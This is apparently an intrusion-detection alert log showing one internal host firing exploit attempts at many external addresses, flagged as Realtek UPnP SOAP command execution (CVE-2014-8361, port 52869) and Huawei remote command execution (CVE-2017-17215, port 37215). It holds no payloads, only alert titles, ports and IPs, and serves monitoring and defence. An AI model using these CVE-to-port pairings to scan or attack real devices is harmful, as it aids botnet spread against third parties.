ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 23.86.160.85

Timestamp:	07/20/24-23:01:05.538156
SID:	2025132
Source Port:	33962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 128.42.37.53

Timestamp:	07/20/24-23:01:21.756931
SID:	2025132
Source Port:	38410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.240.54.248

Timestamp:	07/20/24-23:01:12.358593
SID:	2829579
Source Port:	33712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 199.7.187.18

Timestamp:	07/20/24-23:01:02.699257
SID:	2835222
Source Port:	59636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.107.197.136

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	38840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 54.236.238.51

Timestamp:	07/20/24-23:01:06.552086
SID:	2025132
Source Port:	57588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 201.100.90.58

Timestamp:	07/20/24-23:01:06.806393
SID:	2835222
Source Port:	41260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.94.222.191

Timestamp:	07/20/24-23:01:08.368788
SID:	2829579
Source Port:	36502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.39.68

Timestamp:	07/20/24-23:01:25.417465
SID:	2835222
Source Port:	53258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.86.180.158

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	60776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 172.54.67.32

Timestamp:	07/20/24-23:01:06.844628
SID:	2025132
Source Port:	36270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.222.205.40

Timestamp:	07/20/24-23:01:14.517250
SID:	2027339
Source Port:	52164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.252.188.181

Timestamp:	07/20/24-23:01:12.357339
SID:	2835222
Source Port:	38964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 82.38.244.59

Timestamp:	07/20/24-23:02:06.044957
SID:	2027339
Source Port:	39468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.185.246.104

Timestamp:	07/20/24-23:01:04.893876
SID:	2835222
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.63.109.5

Timestamp:	07/20/24-23:01:06.813789
SID:	2835222
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.183.59

Timestamp:	07/20/24-23:00:59.020493
SID:	2829579
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.113.144.11

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	34120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 111.37.65.174

Timestamp:	07/20/24-23:01:06.258361
SID:	2025132
Source Port:	37992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.98.144.38

Timestamp:	07/20/24-23:01:27.283164
SID:	2835222
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.139.111.126

Timestamp:	07/20/24-23:01:25.413015
SID:	2835222
Source Port:	60734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.247.96.44

Timestamp:	07/20/24-23:01:27.276711
SID:	2835222
Source Port:	41438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 219.208.149.193

Timestamp:	07/20/24-23:01:07.348663
SID:	2025132
Source Port:	50388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.28.16

Timestamp:	07/20/24-23:01:12.357074
SID:	2829579
Source Port:	43458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.210.219.94

Timestamp:	07/20/24-23:01:04.918465
SID:	2835222
Source Port:	36642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 188.74.101.140

Timestamp:	07/20/24-23:01:06.907572
SID:	2025132
Source Port:	43360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 119.98.5.56

Timestamp:	07/20/24-23:01:07.498874
SID:	2025132
Source Port:	57608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 158.244.218.71

Timestamp:	07/20/24-23:01:25.391568
SID:	2835222
Source Port:	40308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.32.140.175

Timestamp:	07/20/24-23:01:15.006697
SID:	2829579
Source Port:	44854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 78.8.181.144

Timestamp:	07/20/24-23:01:07.200827
SID:	2025132
Source Port:	50080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 120.164.160.29

Timestamp:	07/20/24-23:01:06.799605
SID:	2835222
Source Port:	34454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.185.241.200

Timestamp:	07/20/24-23:00:59.022603
SID:	2829579
Source Port:	52932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 207.192.171.160

Timestamp:	07/20/24-23:01:20.497462
SID:	2025132
Source Port:	45004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.146.164.210

Timestamp:	07/20/24-23:01:14.551639
SID:	2831300
Source Port:	55898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 124.217.207.199

Timestamp:	07/20/24-23:01:27.358599
SID:	2831300
Source Port:	57136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 53.242.30.163

Timestamp:	07/20/24-23:01:04.635097
SID:	2027339
Source Port:	59404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.32.174

Timestamp:	07/20/24-23:01:12.358593
SID:	2835222
Source Port:	60566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.6.210.49

Timestamp:	07/20/24-23:01:22.737560
SID:	2835222
Source Port:	38314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.9.128

Timestamp:	07/20/24-23:00:59.020131
SID:	2835222
Source Port:	37720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.104.249

Timestamp:	07/20/24-23:01:02.612616
SID:	2835222
Source Port:	37480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.114.230.33

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	45644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.73.12.212

Timestamp:	07/20/24-23:01:22.819749
SID:	2835222
Source Port:	49508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 223.161.169.143

Timestamp:	07/20/24-23:01:14.512728
SID:	2831300
Source Port:	33862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.52.27.4

Timestamp:	07/20/24-23:00:59.056488
SID:	2835222
Source Port:	55454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.206.115.125

Timestamp:	07/20/24-23:01:02.601732
SID:	2835222
Source Port:	40544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.221.35.218

Timestamp:	07/20/24-23:01:08.447448
SID:	2829579
Source Port:	48954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.205.39.3

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	38374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.137.247.5

Timestamp:	07/20/24-23:01:22.737281
SID:	2829579
Source Port:	33404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.53.114.4

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	37016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.229.86.59

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	46758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.5.180.251

Timestamp:	07/20/24-23:01:06.447731
SID:	2025132
Source Port:	37352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.144.135

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	60118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 163.209.94.25

Timestamp:	07/20/24-23:01:03.948227
SID:	2025132
Source Port:	54540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.42.214.177

Timestamp:	07/20/24-23:01:08.447448
SID:	2835222
Source Port:	44456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 20.106.107.244

Timestamp:	07/20/24-23:01:14.544045
SID:	2027339
Source Port:	40624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.193.80.89

Timestamp:	07/20/24-23:01:04.918465
SID:	2835222
Source Port:	37876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.219.167

Timestamp:	07/20/24-23:01:22.746527
SID:	2829579
Source Port:	54510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.60.250.173

Timestamp:	07/20/24-23:01:12.360354
SID:	2835222
Source Port:	34352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.95.222.18

Timestamp:	07/20/24-23:01:25.391568
SID:	2835222
Source Port:	38386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.48.21.58

Timestamp:	07/20/24-23:01:36.781139
SID:	2835222
Source Port:	38624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.31.42.197

Timestamp:	07/20/24-23:01:36.855169
SID:	2829579
Source Port:	53926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 87.22.11.17

Timestamp:	07/20/24-23:01:04.981879
SID:	2025132
Source Port:	41528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 204.12.39.60

Timestamp:	07/20/24-23:01:02.685656
SID:	2829579
Source Port:	38806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 181.177.254.25

Timestamp:	07/20/24-23:01:20.388966
SID:	2027339
Source Port:	60206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.25.39

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	49922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 152.52.101.23

Timestamp:	07/20/24-23:01:27.354009
SID:	2027339
Source Port:	48224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 44.173.173.82

Timestamp:	07/20/24-23:01:06.332005
SID:	2027339
Source Port:	53400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 91.73.86.81

Timestamp:	07/20/24-23:01:14.507784
SID:	2831300
Source Port:	39452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.71.160.191

Timestamp:	07/20/24-23:01:04.908543
SID:	2835222
Source Port:	39118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.53.68.209

Timestamp:	07/20/24-23:01:14.569004
SID:	2027339
Source Port:	60566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.205.180.21

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	50196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 89.57.196.100

Timestamp:	07/20/24-23:01:14.523933
SID:	2831300
Source Port:	48456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.14.144

Timestamp:	07/20/24-23:01:36.785490
SID:	2835222
Source Port:	50408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.222.191.140

Timestamp:	07/20/24-23:01:12.490733
SID:	2829579
Source Port:	52648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.130.81.109

Timestamp:	07/20/24-23:01:14.526400
SID:	2027339
Source Port:	45676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 195.228.120.248

Timestamp:	07/20/24-23:01:14.546238
SID:	2027339
Source Port:	42016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 52.137.120.101

Timestamp:	07/20/24-23:01:27.354561
SID:	2831300
Source Port:	60598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 206.120.243.243

Timestamp:	07/20/24-23:01:21.747671
SID:	2025132
Source Port:	47424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 79.212.148.111

Timestamp:	07/20/24-23:01:14.541501
SID:	2831300
Source Port:	48706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.166.232.148

Timestamp:	07/20/24-23:01:08.455371
SID:	2829579
Source Port:	33714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 124.49.210.94

Timestamp:	07/20/24-23:01:14.569004
SID:	2831300
Source Port:	38430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.49.148.206

Timestamp:	07/20/24-23:01:07.479520
SID:	2025132
Source Port:	58964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 188.226.47.52

Timestamp:	07/20/24-23:01:14.513053
SID:	2831300
Source Port:	32854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.115.129.156

Timestamp:	07/20/24-23:01:25.388641
SID:	2829579
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 90.220.208.134

Timestamp:	07/20/24-23:01:04.594736
SID:	2025132
Source Port:	43384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 182.15.219.180

Timestamp:	07/20/24-23:01:22.736839
SID:	2829579
Source Port:	43120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.7.228.103

Timestamp:	07/20/24-23:01:04.861979
SID:	2835222
Source Port:	40372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 218.4.141.45

Timestamp:	07/20/24-23:01:27.366829
SID:	2027339
Source Port:	38852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.211.155

Timestamp:	07/20/24-23:01:36.796105
SID:	2835222
Source Port:	45464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.147.77.29

Timestamp:	07/20/24-23:01:14.539913
SID:	2027339
Source Port:	37472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.167.134

Timestamp:	07/20/24-23:01:27.263646
SID:	2835222
Source Port:	36368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.105.81.146

Timestamp:	07/20/24-23:01:08.459273
SID:	2835222
Source Port:	56380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.165.41.153

Timestamp:	07/20/24-23:01:06.823879
SID:	2835222
Source Port:	44270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.177.103.8

Timestamp:	07/20/24-23:01:06.813789
SID:	2835222
Source Port:	36270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.122.225.93

Timestamp:	07/20/24-23:01:06.808312
SID:	2829579
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 96.235.29.144

Timestamp:	07/20/24-23:01:15.708682
SID:	2027339
Source Port:	50820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 163.150.42.115

Timestamp:	07/20/24-23:00:59.022894
SID:	2829579
Source Port:	42034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.76.15.207

Timestamp:	07/20/24-23:01:12.356455
SID:	2835222
Source Port:	52036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.129.109.250

Timestamp:	07/20/24-23:02:20.309421
SID:	2835222
Source Port:	39848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 126.183.144.210

Timestamp:	07/20/24-23:01:07.404232
SID:	2025132
Source Port:	44042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.61.244.136

Timestamp:	07/20/24-23:01:36.852816
SID:	2835222
Source Port:	44128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

